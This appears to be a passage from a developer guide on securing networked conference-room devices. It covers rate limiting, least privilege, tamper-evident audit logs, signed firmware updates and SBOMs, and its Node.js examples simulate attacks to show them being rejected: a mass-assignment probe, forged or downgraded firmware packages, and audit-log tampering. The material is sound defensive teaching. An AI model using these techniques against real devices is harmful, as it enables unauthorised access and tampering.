  1. The simulation steps one second at a time for a day. Each attacker address makes a guess whenever the policy allows (and politely waits for the Retry-After it's given); a scrypt check takes about a second, so even with no limit that's 86,400 guesses a day. The admin types the correct password at 00:30 and 06:00, retries once a minute, and gives up after ten minutes.
  2. No limit: 86,400 guesses a day, enough to try a 10,000-word list of common passwords in under a day. The admin gets in, but so, eventually, does anyone who can guess.
  3. Lock the account for 15 minutes after 5 failures cuts the attacker to 480 guesses a day, and locks the admin out both times: every time the lock expires, the attacker's next five guesses re-lock it within five seconds, and the admin's once-a-minute retries almost never land in that gap. This is the denial of service built into naive lockout.
  4. Per-source exponential back-off (1 s, 2 s, 4 s … capped at 15 minutes, reset on success) slows one attacker to 105 guesses a day while the admin, from a different address, isn't affected at all. That's the shape NIST SP 800-63B-4 suggests as an alternative to lockout: waits that grow with failures ("30 seconds up to an hour" in its example), with a hard ceiling of at most 100 consecutive failures before the authenticator is disabled.
  5. Twenty attacker addresses get twenty separate back-offs: 2,100 guesses a day. Per-source limits scale with the number of addresses an attacker controls; on a LAN that's limited, on the internet it isn't. That's why devices also keep an account-wide counter (NIST's ceiling), why the management interface shouldn't face the internet at all (ETSI 5.6-1's first example: an admin UI meant for the LAN isn't reachable from the WAN by default), and, most of all, why the password must be strong: against a unique 4-word passphrase, 2,100 guesses a day is nothing.
  6. Design rules that follow: back off per source and per account, return 429 with Retry-After rather than silently dropping, keep a local console or physical-reset path that rate limits can never lock, log every lock as an audit event, and alert the admin ("37 failed logins from 10.0.1.9 in the last hour").
AdvancedTurning off what isn't used

ETSI EN 303 645 provision 5.6-1: "All unused network interfaces and all unused logical interfaces that are accessible through a network interface shall be disabled." In practice that's an inventory of everything listening, each with an owner, a default and a reason:

InterfaceTypical default for a room deviceWhy
HTTPS admin UI and REST APIon, LAN onlythe way admins and integrations manage it
HTTP on port 80redirect to HTTPS, or offplain HTTP leaks the session cookie
SSH command-line APIoff until enableduseful to integrators, but another login to protect
Telnet command-line APIoff; if needed, local network and password requiredno encryption; passwords and commands in clear
SNMPoff; v3 only if onv1/v2c "community strings" are cleartext shared passwords
adb over the network, debug and test portsoff in production buildsfull control of the OS; ETSI 5.6-4A: debug interfaces disabled or protected by authentication
mDNS / discoveryon, but advertising littlefinding devices is useful; advertising firmware versions helps attackers

Poly's admin guide shows the switches a real device exposes: under Security > Access, "Enable Web Access" (with the warning that its paired touch controllers need it), "Enable SNMP Access", the network intrusion detection setting, idle and maximum session timeouts, the maximum number of active sessions and the minimum TLS version; under command-line API access, separate switches for SSH and Telnet, a choice of Telnet port (24 by default, or 23), and a "Telnet Authentication" checkbox that is on by default and can be cleared. Any switch that weakens security (clearing Telnet authentication, lowering the minimum TLS version) should be an audited event that shows a warning in the UI.

AdvancedSay less to strangers

ETSI provision 5.6-2 asks that, once the device is set up, its network interfaces "minimize the unauthenticated disclosure of security-relevant information", giving firmware and kernel versions as examples: they're how mass scanners find the units with a known bug. Concretely:

  • The login page and unauthenticated API responses don't show the firmware version, build date or OS version. GET /api/status without credentials returns 401, not a friendly summary.
  • Server headers don't advertise the stack (Server: Jetty 9.4.43 or X-Powered-By: Express; Express's app.disable("x-powered-by") turns the latter off).
  • Error responses use stable error codes and generic messages; stack traces go to the device log, not the client (see Errors with problem details).
  • Discovery protocols (mDNS, SSDP) advertise a service type and a name, not a model-and-version string.
Lock after five?

A security reviewer asks you to "lock the admin account for 30 minutes after five failed logins" on a conference-room device that has a single local admin account and whose web UI is reachable from the whole corporate network. What's the problem, and what do you propose?

Show answer

Anyone on the corporate network can keep the only admin locked out indefinitely by sending five bad passwords every 30 minutes. Propose per-source back-off plus an account-wide ceiling, strong unique passwords, a lock-proof local recovery path, and alerts.

What’s happening
  1. Lockout counts failures for the account, not the person. The attacker doesn't need the password to trigger it, only the username, which on a device is admin (documented, and the default in Poly's guide).
  2. The model's second line shows the effect: with a 15-minute lock after five failures, the attacker's guesses fall to 480 a day, but both of the admin's login attempts end in gave up. A 30-minute lock only halves the attacker's work.
  3. Per-source back-off (the third line) slows the attacker just as well, 105 guesses a day from one address, and doesn't touch the admin, who logs in from a different address. Add an account-wide ceiling for many-address attacks (NIST SP 800-63B-4 requires disabling the authenticator after at most 100 consecutive failures), and because on this device that disables the only admin, pair it with a recovery path the network can't lock (next step).
  4. Keep a path that can never be locked from the network: the local touch interface or a physical reset. Log and alert on every throttle event so a real admin knows someone is guessing.
  5. Finally, the reason guessing is a threat at all is a weak password. With a unique, long passphrase set at first boot, even the many-address case (2,100 guesses a day) is harmless; the rate limit is the second wall, not the first.

#Least privilege and audit logs

Added

Authentication answers "who is this?"; authorisation answers "may they do this, to this, right now?", and it has to be answered on every request, for every interface. Least privilege means each caller gets the smallest set of rights that does its job: the room-booking panel can start and end calls but not change the network, the help-desk operator can rename the room and reboot it but not reset it to factory settings, the monitoring script can read status and nothing else, and no one can read a stored SIP or Wi-Fi password back. The OWASP API Security Top 10 (2023) has three entries that are all failures of this: API1 Broken Object Level Authorization (you can act on an object that isn't yours), API3 Broken Object Property Level Authorization (you can read or write a field you shouldn't, the old "excessive data exposure" and "mass assignment"), and API5 Broken Function Level Authorization (you can call an admin function as a regular user).

The mental model is a building with a key schedule: a single table that says which badge opens which door. Doors don't each decide for themselves; they consult the table. That's what makes it reviewable (one place to read), testable (one table to check against) and consistent across the web UI, REST, Telnet and SSH, which on a device must all enforce the same rules (see One command layer behind REST, Telnet and SSH).

Audit logs are the other half. When something changes on a device in a customer's boardroom, someone will ask "who turned auto-answer on?", and the answer must come from a record the device kept: who (account or token), from where (address and interface), what (setting, old value, new value, with secrets redacted), when (from a synchronised clock), and whether it worked. Where Poly's public guides describe it, roles are coarse: every command in the VideoOS REST API reference lists its access level as Admin, the local interface has user and admin roles, and directory login maps one AD group to each role. Finer-grained roles and scopes below are the general pattern, not a description of Poly's products.

Here's a key schedule for a device's settings and actions, with three roles, a write-only secret, and the requests that tend to slip through:

least-privilege.mjs
// One table decides who may read and write each setting, and who may call each action.
const RANK = { viewer: 1, operator: 2, admin: 3 };
const SETTINGS = {
  "room.name": { read: "viewer", write: "operator" },
  "audio.autoAnswer": { read: "viewer", write: "operator" },
  "network.ipMode": { read: "viewer", write: "admin" },
  "sip.user": { read: "operator", write: "admin" },
  "sip.password": { read: null, write: "admin" }, // write-only: no role can read a secret back
};
const ACTIONS = { "POST /api/system/reboot": "operator", "GET /api/system/logs": "admin", "POST /api/system/factory-reset": "admin" };
const can = (role, need) => need != null && RANK[role] >= RANK[need];

const store = { "room.name": "Huddle 4B", "audio.autoAnswer": false, "network.ipMode": "dhcp", "sip.user": "room4b", "sip.password": "s3cr3t-sip" };

function getSettings(role) {
  const out = {};
  for (const [key, rule] of Object.entries(SETTINGS)) {
    if (can(role, rule.read)) out[key] = store[key];
    else if (rule.read === null && can(role, rule.write)) out[key] = store[key] ? "(set)" : "(not set)";
  }
  return [200, out];
}

function patchSettings(role, patch) {
  const unknown = Object.keys(patch).filter((k) => !(k in SETTINGS));
  if (unknown.length) return [422, { error: "unknown_fields", fields: unknown }];
  const denied = Object.keys(patch).filter((k) => !can(role, SETTINGS[k].write));
  if (denied.length) return [403, { error: "forbidden_fields", fields: denied }]; // reject the whole patch
  Object.assign(store, patch);
  return [200, { changed: Object.keys(patch) }];
}

const call = (role, action) => (can(role, ACTIONS[action]) ? [202, {}] : [403, { error: "forbidden", need: ACTIONS[action] }]);

const show = (who, what, [status, body]) => console.log(`${who.padEnd(9)} ${what.padEnd(40)} → ${status} ${JSON.stringify(body)}`);
show("viewer", "GET /api/settings", getSettings("viewer"));
show("operator", "GET /api/settings", getSettings("operator"));
show("admin", "GET /api/settings", getSettings("admin"));
show("operator", "PATCH { room.name }", patchSettings("operator", { "room.name": "Huddle 4C" }));
show("operator", "PATCH { room.name, network.ipMode }", patchSettings("operator", { "room.name": "X", "network.ipMode": "static" }));
show("operator", "PATCH { isAdmin: true }", patchSettings("operator", { isAdmin: true }));
show("operator", "POST /api/system/reboot", call("operator", "POST /api/system/reboot"));
show("operator", "POST /api/system/factory-reset", call("operator", "POST /api/system/factory-reset"));
show("admin", "PATCH { sip.password }", patchSettings("admin", { "sip.password": "n3w-s1p" }));
console.log(`room.name is still ${JSON.stringify(store["room.name"])}: the rejected patch changed nothing`);
Result
viewer    GET /api/settings                        → 200 {"room.name":"Huddle 4B","audio.autoAnswer":false,"network.ipMode":"dhcp"}
operator  GET /api/settings                        → 200 {"room.name":"Huddle 4B","audio.autoAnswer":false,"network.ipMode":"dhcp","sip.user":"room4b"}
admin     GET /api/settings                        → 200 {"room.name":"Huddle 4B","audio.autoAnswer":false,"network.ipMode":"dhcp","sip.user":"room4b","sip.password":"(set)"}
operator  PATCH { room.name }                      → 200 {"changed":["room.name"]}
operator  PATCH { room.name, network.ipMode }      → 403 {"error":"forbidden_fields","fields":["network.ipMode"]}
operator  PATCH { isAdmin: true }                  → 422 {"error":"unknown_fields","fields":["isAdmin"]}
operator  POST /api/system/reboot                  → 202 {}
operator  POST /api/system/factory-reset           → 403 {"error":"forbidden","need":"admin"}
admin     PATCH { sip.password }                   → 200 {"changed":["sip.password"]}
room.name is still "Huddle 4C": the rejected patch changed nothing
What’s happening
  1. One table, SETTINGS, says who may read and write each field, and ACTIONS does the same for functions; can(role, need) compares role ranks. Every handler asks the table instead of having its own if (user.isAdmin). Adding a field without an entry fails closed: it isn't readable or writable by anyone until someone decides.
  2. Reads are filtered per field (the API3 property-level check). The viewer gets room.name, audio.autoAnswer and network.ipMode; the operator additionally sees sip.user; the admin sees everything, but sip.password only as "(set)". Its read is null, so no role can read the secret back, not even the admin. Admins can replace a secret; they never need to see it, and an API that returns stored passwords turns one stolen admin session into stolen SIP and Wi-Fi credentials for the whole site.
  3. Writes are checked field by field and the whole patch is rejected if any field is forbidden. The operator may rename the room (200), but { room.name, network.ipMode } gets 403 forbidden_fields: ["network.ipMode"], and the last line shows room.name is still "Huddle 4C" from the earlier successful patch, so nothing from the rejected one was applied. Applying the allowed half would leave the device in a state nobody asked for.
  4. Unknown fields are a 422, not ignored (the JSON is well-formed, so it isn't a 400; a field the schema doesn't allow is invalid content): { isAdmin: true } is the classic mass-assignment probe. Silently dropping it hides client bugs; silently storing it (by merging the body into an object) is how such probes succeed. The schema is the allowlist.
  5. Functions have their own levels (the API5 check): the operator may reboot (202) but not factory-reset (403, need: "admin"). Reboots are routine help-desk work; a factory reset erases certificates, accounts and the audit trail, so it's admin-only and should also ask for the password again.
  6. The admin can set the secret (PATCH { sip.password } → 200), and the response names the changed field, not its value. That's also exactly what the audit log should record.
AdvancedHiding a button isn't authorisation
AdvancedAudit logs that survive a curious admin

An audit log on the device is only useful if someone who later gets access to the device can't quietly rewrite it. You can't make local storage tamper-proof against someone with root, but you can make tampering evident: chain each entry to the previous one with a hash, and regularly send the newest hash somewhere the device's users can't edit.

audit-chain.mjs
import { createHash } from "node:crypto";

const SECRET_FIELDS = new Set(["sip.password", "adminPassword", "wifi.psk"]);
const sha256 = (s) => createHash("sha256").update(s).digest("hex");
const GENESIS = "0".repeat(64);
let clock = Date.parse("2026-10-27T09:00:00Z"); // fake clock: one event per minute
const log = [];

function audit(actor, via, action, change = {}) {
  const redacted = Object.fromEntries(Object.entries(change).map(([k, v]) => [k, SECRET_FIELDS.has(k) ? "(changed)" : v]));
  const entry = { seq: log.length + 1, at: new Date((clock += 60_000)).toISOString(), actor, via, action, change: redacted };
  entry.prev = log.at(-1)?.hash ?? GENESIS;
  entry.hash = sha256(JSON.stringify(entry)); // covers every field above, including prev
  log.push(entry);
}

function verify(entries, anchor) {
  let prev = GENESIS;
  for (const e of entries) {
    const { hash, ...rest } = e;
    if (e.prev !== prev) return `entry ${e.seq}: prev doesn't match entry ${e.seq - 1}`;
    if (sha256(JSON.stringify(rest)) !== hash) return `entry ${e.seq}: contents don't match its hash`;
    prev = hash;
  }
  if (anchor) {
    const e = entries.find((x) => x.seq === anchor.seq);
    if (!e) return `anchor says entry ${anchor.seq} exists; the log ends at ${entries.at(-1).seq}`;
    if (e.hash !== anchor.hash) return `entry ${anchor.seq}: hash differs from the copy sent off the device`;
  }
  return "ok";
}

audit("unknown", "web 10.0.1.9", "login.failed", { user: "admin" });
audit("admin", "web 10.0.0.12", "login");
audit("admin", "web 10.0.0.12", "settings.update", { "room.name": ["Huddle 4B", "Huddle 4C"] });
audit("admin", "web 10.0.0.12", "settings.update", { "sip.password": ["s3cr3t", "n3w-s1p"] });
audit("token:room-monitor", "rest 10.0.0.40", "system.reboot");
for (const e of log) console.log(`${e.seq} ${e.at.slice(11, 16)} ${e.actor.padEnd(19)} ${e.via.padEnd(15)} ${e.action.padEnd(16)} ${JSON.stringify(e.change).padEnd(40)} ${e.hash.slice(0, 8)}`);

const check = (label, result) => console.log(`${label.padEnd(32)} ${result}`);
// Every few minutes the device ships its newest {seq, hash} to a syslog server or the management cloud.
const anchor = { seq: log.at(-1).seq, hash: log.at(-1).hash };
console.log("");
check("untouched log", verify(log, anchor));

const edited = structuredClone(log);
edited[2].actor = "operator"; // someone with shell access edits entry 3 in place
check("entry 3 edited", verify(edited, anchor));

const rehashed = structuredClone(log);
rehashed[2].actor = "operator"; // ...and recomputes every hash after it
for (let i = 2; i < rehashed.length; i++) {
  const { hash, ...rest } = rehashed[i];
  rehashed[i].prev = rehashed[i - 1].hash;
  rehashed[i].hash = sha256(JSON.stringify({ ...rest, prev: rehashed[i - 1].hash }));
}
check("edited and re-hashed, no anchor", verify(rehashed));
check("edited and re-hashed", verify(rehashed, anchor));
check("last two entries deleted", verify(log.slice(0, 3), anchor));
Result
1 09:01 unknown             web 10.0.1.9    login.failed     {"user":"admin"}                         063522fd
2 09:02 admin               web 10.0.0.12   login            {}                                       6a8c624e
3 09:03 admin               web 10.0.0.12   settings.update  {"room.name":["Huddle 4B","Huddle 4C"]}  5430df22
4 09:04 admin               web 10.0.0.12   settings.update  {"sip.password":"(changed)"}             ef48cd1c
5 09:05 token:room-monitor  rest 10.0.0.40  system.reboot    {}                                       3e7da9e9

untouched log                    ok
entry 3 edited                   entry 3: contents don't match its hash
edited and re-hashed, no anchor  ok
edited and re-hashed             entry 5: hash differs from the copy sent off the device
last two entries deleted         anchor says entry 5 exists; the log ends at 3
What’s happening
  1. Each entry records who, through what, what changed, and when: unknown from web 10.0.1.9 failing to log in, admin from web 10.0.0.12 renaming the room with old and new values, a token rebooting the device over REST. Times come from a fake clock here; on a real device they come from an NTP-synchronised clock, or entries from different devices can't be lined up.
  2. Secrets are redacted before they're written: entry 4 records {"sip.password":"(changed)"}, never the value. An audit log is read by more people than the settings page, gets exported to a SIEM, and is attached to support tickets.
  3. Each entry's hash covers its own fields plus prev, the previous entry's hash, starting from 64 zeros. Change any byte of entry 3 and its hash no longer matches its contents: entry 3: contents don't match its hash.
  4. A careful attacker re-hashes everything after the edit, and the chain is internally consistent again: edited and re-hashed, no anchor ok. A hash chain alone only proves the log wasn't edited by someone who didn't bother to recompute it.
  5. The anchor fixes that: every few minutes the device sends its newest {seq, hash} to a syslog server or the management service. The re-hashed log's entry 5 no longer matches the anchor, and truncation (deleting the last two entries, which a chain can't detect on its own) is caught because the anchor says entry 5 existed. The anchor is tiny, so it can be sent often; the full log can follow in batches.
  6. In production you'd go one step further and sign the anchors (or each batch) with a key that lives in the device's hardware-backed keystore, so even the receiving server can tell a forged anchor from a real one, and you'd store the full log off-device too, because a device with 50 MB of log space overwrites old entries.
AdvancedWhat to record, and what not to
RecordExampleNotes
Authenticationlogin, logout, failed login, lockout, password change, token created or revokedinclude source address and interface (web, REST, SSH, Telnet, local touch UI)
Configuration changesaudio.autoAnswer: false → trueold and new values; secrets as "(changed)"; one entry per change set, with the list of fields
Privileged actionsreboot, factory reset, software update started, certificate installedthe result too: an update that failed verification is as important as one that installed
Security eventsTLS minimum lowered, Telnet enabled, debug mode onthese deserve an alert, not just a log line
Not recordedpasswords, tokens, session ids, full request bodies, personal data in call historylog the fact and an id, not the secret
  • Bounded storage, honest about loss. A device keeps a ring buffer; when it wraps, it records "N entries dropped" so a gap is visible. Ship entries off the device (syslog over TLS, or the management service's API) as they happen.
  • Readable by the right people. Reading the audit log is itself a privileged action (admin, or an audit:read scope for a SIEM integration), and exporting it is audited.
  • Correlate. Put a request id in each entry and in the corresponding application log lines, so "who changed it" leads to "what else happened in that request".
  • Field diagnostics are a different log. Debug logs that support engineers pull from devices are for fixing bugs and may be verbose; audit logs are for accountability and must be complete and stable in format. Don't mix them.
What does the chain prove?

An auditor finds a device whose local audit log verifies with no errors from entry 1 to entry 812. The device was configured to send its newest {seq, hash} to a syslog server every five minutes, and the syslog server's last anchor for this device is { seq: 830, hash: "9c1e…" }. What can you conclude?

Show answer

Entries 813 to 830 existed and have been removed (or the log was rebuilt): the log was tampered with, even though it verifies on its own.

What’s happening
  1. A clean local verification proves only that each entry matches its hash and its predecessor's. That's true for an untouched log, and also for one where an attacker edited entries and recomputed every hash after them, or simply deleted the newest entries.
  2. The anchor is an outside record: at some moment the device itself reported that its log reached entry 830 with hash 9c1e…. The local log ends at 812, so 18 entries that the device once had are gone.
  3. In the model that's the last line: anchor says entry 5 exists; the log ends at 3. If the attacker had instead re-created entries up to 830 with different contents, the hash of entry 830 wouldn't match 9c1e…, which is the edited and re-hashed line in the model's output.
  4. What you can't conclude is what those entries said; that's why devices ship the full entries off-device too, not just the anchors. The anchor tells you that something happened and roughly when (between the last two anchors).

#Supply chain and update security

Added

The software update path is the most powerful API on the device: whatever it accepts runs with full control of the hardware, the cameras and the microphones. So the question isn't only "is the download encrypted?" but "how does the device know this image came from us, wasn't changed, is meant for this model, and isn't an old version with a known hole?". An attacker can tamper with an image on a mirror, a USB stick or a compromised management server; they can also take a genuine, signed old release with a known vulnerability and offer it as an "update" (a rollback or downgrade attack). OWASP's IoT Top 10 (2018) lists "Lack of Secure Update Mechanism" fourth, naming exactly these: no firmware validation on the device, no secure delivery, no anti-rollback.

The mental model is a sealed letter from head office. The device only opens envelopes sealed with head office's stamp (a signature it checks with a public key it was born with), checks the seal hasn't been broken (the image's hash matches what the signed manifest says), checks it's addressed to this kind of device (the product), and refuses any letter dated earlier than the newest one it has already accepted (a rollback counter). How the envelope travelled (HTTPS, a CDN, a USB stick handed over by a contractor) stops mattering, because none of those carriers is trusted.

ETSI EN 303 645 (V3.1.3) puts it in two provisions: 5.3-9, the device "should verify the authenticity and integrity of software updates", and 5.3-10, where updates arrive over a network interface the device "shall" verify each one "via a trust relationship", with digital-signature verification as one of the listed options. Poly's Video Mode Administrator Guide 4.7.0 shows how many carriers a real device accepts: Poly's own update server (the default), a custom server on the customer's network "that supports HTTP or HTTPS downloads", Microsoft Teams device management, a provisioning service, or a USB flash drive whose update starts automatically after a short delay if nobody answers the prompt. With carriers like a customer's HTTP server and a USB stick, the device can't rely on the channel. The guide doesn't describe how images are signed or verified on the device, so what follows is the general pattern, not Poly's implementation.

VENDOR CI build image + SBOM signing service private key in an HSM signed manifest product · version · secVer · sha256 untrusted carriers: CDN · management cloud · USB DEVICE 1 signature key built into the read-only system 2 product, rollback secVer ≥ stored floor 3 size + hash image matches the manifest 4 inactive slot reboot · verified boot mark good or fall back Any failed check: reject, keep running the current version, log an audit event.
Trust comes from the signature and the device's own checks, never from the channel the image travelled through.

Here's that path as code: a release pipeline that signs a manifest with Ed25519, and a device that checks signature, product, rollback floor and image hash, in that order, against the attacks above.

verify-update.mjs
import { generateKeyPairSync, sign, verify, createHash } from "node:crypto";

// Release pipeline: the signing key lives in an HSM; only its public half ships inside the device image.
const release = generateKeyPairSync("ed25519");
const sha256 = (b) => createHash("sha256").update(b).digest("hex");

function buildPackage({ version, securityVersion, product = "room-kit", key = release.privateKey }) {
  const image = Buffer.from(`${product} firmware ${version} `.repeat(1000));
  const manifest = { product, version, securityVersion, size: image.length, sha256: sha256(image) };
  const bytes = Buffer.from(JSON.stringify(manifest)); // sign the exact bytes that will be checked
  return { manifest: bytes, signature: sign(null, bytes, key), image };
}

// The device: a pinned public key, and a rollback counter in storage the OS can only increase.
const device = { product: "room-kit", version: "5.0.2", minSecurityVersion: 6, trusted: release.publicKey };

function checkUpdate(pkg) {
  if (!verify(null, pkg.manifest, device.trusted, pkg.signature)) return "rejected: bad signature";
  const m = JSON.parse(pkg.manifest); // only parsed after it's known to be ours
  if (m.product !== device.product) return `rejected: built for ${m.product}`;
  if (m.securityVersion < device.minSecurityVersion)
    return `rejected: rollback (security version ${m.securityVersion} < ${device.minSecurityVersion})`;
  if (pkg.image.length !== m.size || sha256(pkg.image) !== m.sha256) return "rejected: image doesn't match the manifest";
  device.version = m.version; // write to the inactive slot, reboot into it, then...
  device.minSecurityVersion = Math.max(device.minSecurityVersion, m.securityVersion); // ...raise the floor once it boots
  return `installed ${m.version}, rollback floor now ${device.minSecurityVersion}`;
}

const good = buildPackage({ version: "5.1.0", securityVersion: 7 });
const flipped = { ...good, image: Buffer.from(good.image) };
flipped.image[100] ^= 1; // one bit changed in transit or on the USB stick

const evilImage = Buffer.from("backdoor ".repeat(500));
const editedManifest = JSON.parse(good.manifest);
Object.assign(editedManifest, { size: evilImage.length, sha256: sha256(evilImage) });
const swapped = { manifest: Buffer.from(JSON.stringify(editedManifest)), signature: good.signature, image: evilImage };

const attackerKey = generateKeyPairSync("ed25519").privateKey;
const cases = [
  ["one bit flipped in the image", flipped],
  ["image swapped, manifest edited", swapped],
  ["signed with someone else's key", buildPackage({ version: "9.9.9", securityVersion: 99, key: attackerKey })],
  ["genuine but for another product", buildPackage({ version: "5.1.0", securityVersion: 7, product: "desk-phone" })],
  ["genuine old release 4.9.0", buildPackage({ version: "4.9.0", securityVersion: 5 })],
  ["genuine 5.1.0", good],
  ["genuine 5.0.2 after 5.1.0", buildPackage({ version: "5.0.2", securityVersion: 6 })],
];
for (const [label, pkg] of cases) console.log(`${label.padEnd(32)} → ${checkUpdate(pkg)}`);
console.log("running:", device.version);
Result
one bit flipped in the image     → rejected: image doesn't match the manifest
image swapped, manifest edited   → rejected: bad signature
signed with someone else's key   → rejected: bad signature
genuine but for another product  → rejected: built for desk-phone
genuine old release 4.9.0        → rejected: rollback (security version 5 < 6)
genuine 5.1.0                    → installed 5.1.0, rollback floor now 7
genuine 5.0.2 after 5.1.0        → rejected: rollback (security version 6 < 7)
running: 5.1.0
What’s happening
  1. The release pipeline signs a manifest, not the whole image: { product, version, securityVersion, size, sha256 }, serialised once to bytes and signed with Ed25519 (sign(null, bytes, key); Ed25519 takes no separate hash algorithm). The device checks the signature over those exact bytes before parsing them, so there's no "two JSON serialisers disagree" gap. The image itself is checked by hash, which can be streamed as it downloads.
  2. One flipped bit in the image leaves the manifest and signature valid, but sha256(image) no longer matches: image doesn't match the manifest. Ordinary corruption on a flaky download or a bad USB stick is caught by the same check that catches tampering.
  3. Swapping the image and editing the manifest's hash to match fails earlier: the edited manifest's bytes no longer match the signature (bad signature). This is why the hash must be inside the signed data: a hash published next to the download on the same server protects against corruption, not against whoever controls the server. A package signed with someone else's key fails the same way, whatever version number it claims (9.9.9, security version 99).
  4. A genuine package for another product passes the signature (it's really ours) and is rejected for its product, which prevents a desk phone image bricking a room system when a fleet tool sends the wrong file.
  5. The genuine old release 4.9.0 is signed and intact, and still rejected: its security version 5 is below the device's rollback floor of 6. Without that check, an attacker who can push updates can't install their own code, but can install your old code with its known vulnerability, which is nearly as good.
  6. The genuine 5.1.0 installs and raises the floor to 7; after that, even the genuine 5.0.2 the device was running before is refused (6 < 7). That's why the floor is a separate security version rather than the version string: a release that doesn't fix anything security-relevant leaves it alone, so customers can still roll back for a functional bug, while releases that fix a vulnerability raise it. On real hardware the floor lives in storage the OS can only increase (fuses, a replay-protected memory block, a counter in the secure element), and it's raised only after the new version has booted and passed its health checks.
AdvancedHTTPS alone isn't a signature
AdvancedVerified boot and A/B updates

Verified boot and A/B updates, at a high level

Signature checks at install time protect the update path. Verified boot protects every boot afterwards: each stage checks the next before running it. Android's documentation describes it as a chain of trust from a hardware-protected root of trust through the bootloader to the boot partition and the other verified partitions (system, vendor), with dm-verity checking partition contents block by block as they're read, and rollback protection so a device can't be downgraded to an older Android build with a known exploit. Android 7.0 started strictly enforcing it, so a device with a corrupted or modified system partition doesn't boot normally, and Android 8.0 and later use Android Verified Boot (AVB), the reference implementation. On an Android-based room device that means the web server, the REST API and the public key used for update verification all live in partitions verified at boot, so tampering with them on disk is detected at the next boot.

A/B (seamless) updates complete the picture: the device runs from slot A while writing the update to slot B, switches slots and reboots, and if slot B doesn't boot or doesn't report healthy, the bootloader falls back to A. For a fleet of room devices that's what makes automatic updates acceptable: a bad release costs a reboot, not a truck roll. The same Poly guide shows the fleet side of automatic updates: an optional maintenance window, within which "the system calculates a random time" to check for updates, so thousands of rooms don't hit the update server at the same second. The admin UI side of that flow (progress, failure states, the device disappearing during reboot) is in Software update flows.

AdvancedProtecting the signing key

Every check above reduces to "whoever has the private key can update every device in the fleet". So the key gets more protection than anything else:

  • Generated and kept in an HSM (or a cloud KMS backed by one); it can't be exported, and signing is an API call, logged.
  • Only the release pipeline can ask for a signature, for an artefact built by CI from a reviewed commit, with a second person approving production releases. Developers sign development builds with a separate development key that production devices don't trust.
  • Plan for rotation and compromise before you need it: devices can trust more than one public key (current and next), and an update can add a new key and retire the old one. A device that trusts exactly one key forever has no recovery if that key leaks.
  • Separate keys by purpose: firmware signing, the bootloader's verified-boot key, and the TLS keys of the update server are different keys with different owners.
AdvancedSBOMs: knowing what's inside

A software bill of materials lists every component in a build (name, version, supplier, a package URL or other identifier, hashes, licences, and how components depend on each other) in a machine-readable format, usually SPDX or CycloneDX. Its value shows up the morning a vulnerability is announced in a library you may or may not ship: with an SBOM per firmware build and the fleet's version counts, "are we affected, and how many devices?" is a query, not a week of asking teams.

sbom-lookup.mjs
// One CycloneDX-style SBOM per firmware build (trimmed to the fields this needs), plus fleet counts.
const sboms = {
  "5.0.2": { bomFormat: "CycloneDX", specVersion: "1.6", components: [
    { type: "library", name: "openssl", version: "3.5.1", purl: "pkg:generic/openssl@3.5.1" },
    { type: "library", name: "libwebsockets", version: "4.3.2", purl: "pkg:generic/libwebsockets@4.3.2" },
    { type: "library", name: "express", version: "5.1.0", purl: "pkg:npm/express@5.1.0" } ] },
  "5.1.0": { bomFormat: "CycloneDX", specVersion: "1.6", components: [
    { type: "library", name: "openssl", version: "3.5.4", purl: "pkg:generic/openssl@3.5.4" },
    { type: "library", name: "libwebsockets", version: "4.3.3", purl: "pkg:generic/libwebsockets@4.3.3" },
    { type: "library", name: "express", version: "5.1.0", purl: "pkg:npm/express@5.1.0" } ] },
  "4.9.0": { bomFormat: "CycloneDX", specVersion: "1.6", components: [
    { type: "library", name: "openssl", version: "1.1.1w", purl: "pkg:generic/openssl@1.1.1w" },
    { type: "library", name: "express", version: "4.19.2", purl: "pkg:npm/express@4.19.2" } ] },
};
const fleet = { "5.1.0": 3120, "5.0.2": 1874, "4.9.0": 406 }; // devices reporting each build

// An advisory, invented for this example: libwebsockets 4.3.0 up to (not including) 4.3.3.
const advisory = { id: "EXAMPLE-2026-0001", purlName: "pkg:generic/libwebsockets", introduced: "4.3.0", fixed: "4.3.3" };

const parts = (v) => v.split(/[.\-]/).map((p) => (/^\d+$/.test(p) ? Number(p) : p));
const cmp = (a, b) => {
  const [x, y] = [parts(a), parts(b)];
  for (let i = 0; i < Math.max(x.length, y.length); i++) if (x[i] !== y[i]) return (x[i] ?? 0) < (y[i] ?? 0) ? -1 : 1;
  return 0;
};

let affected = 0;
for (const [build, bom] of Object.entries(sboms)) {
  const hit = bom.components.find((c) => c.purl.startsWith(advisory.purlName + "@"));
  const vulnerable = hit && cmp(hit.version, advisory.introduced) >= 0 && cmp(hit.version, advisory.fixed) < 0;
  if (vulnerable) affected += fleet[build];
  console.log(`firmware ${build}: ${hit ? `${hit.name} ${hit.version}` : "no libwebsockets"} → ${vulnerable ? `AFFECTED (${fleet[build]} devices)` : "not affected"}`);
}
console.log(`${advisory.id}: ${affected} of ${Object.values(fleet).reduce((a, b) => a + b)} devices need 5.1.0`);
Result
firmware 5.0.2: libwebsockets 4.3.2 → AFFECTED (1874 devices)
firmware 5.1.0: libwebsockets 4.3.3 → not affected
firmware 4.9.0: no libwebsockets → not affected
EXAMPLE-2026-0001: 1874 of 5400 devices need 5.1.0
What’s happening
  1. sboms holds one trimmed CycloneDX-style document per firmware build, with each component's purl (package URL, e.g. pkg:generic/libwebsockets@4.3.2), the identifier vulnerability databases match on. fleet says how many devices report each build, which the management service knows.
  2. The advisory is invented for this example (EXAMPLE-2026-0001, libwebsockets from 4.3.0 up to but not including 4.3.3), shaped like real ones: a component and an affected version range.
  3. For each build the code finds the component by its purl and compares versions numerically, part by part. 5.0.2 ships 4.3.2: affected, 1,874 devices. 5.1.0 ships the fixed 4.3.3. 4.9.0 doesn't contain the library at all, so the answer for it is a confident "not affected" rather than a guess.
  4. The last line is the answer the incident call needs: 1,874 of 5,400 devices need 5.1.0. The SBOM also shows something nobody asked about: 4.9.0 still ships OpenSSL 1.1.1w, a branch that's out of public support (as is 3.0; OpenSSL's release-strategy page lists 3.5 as the LTS line, supported to April 2030), which is a reason in itself to move those 406 devices.
  5. Real tooling does the same with real feeds (OSV, NVD, vendor advisories) and handles messier version schemes; the point is that it only works if every build's SBOM is generated by CI from what was actually built, stored with the release, and kept.

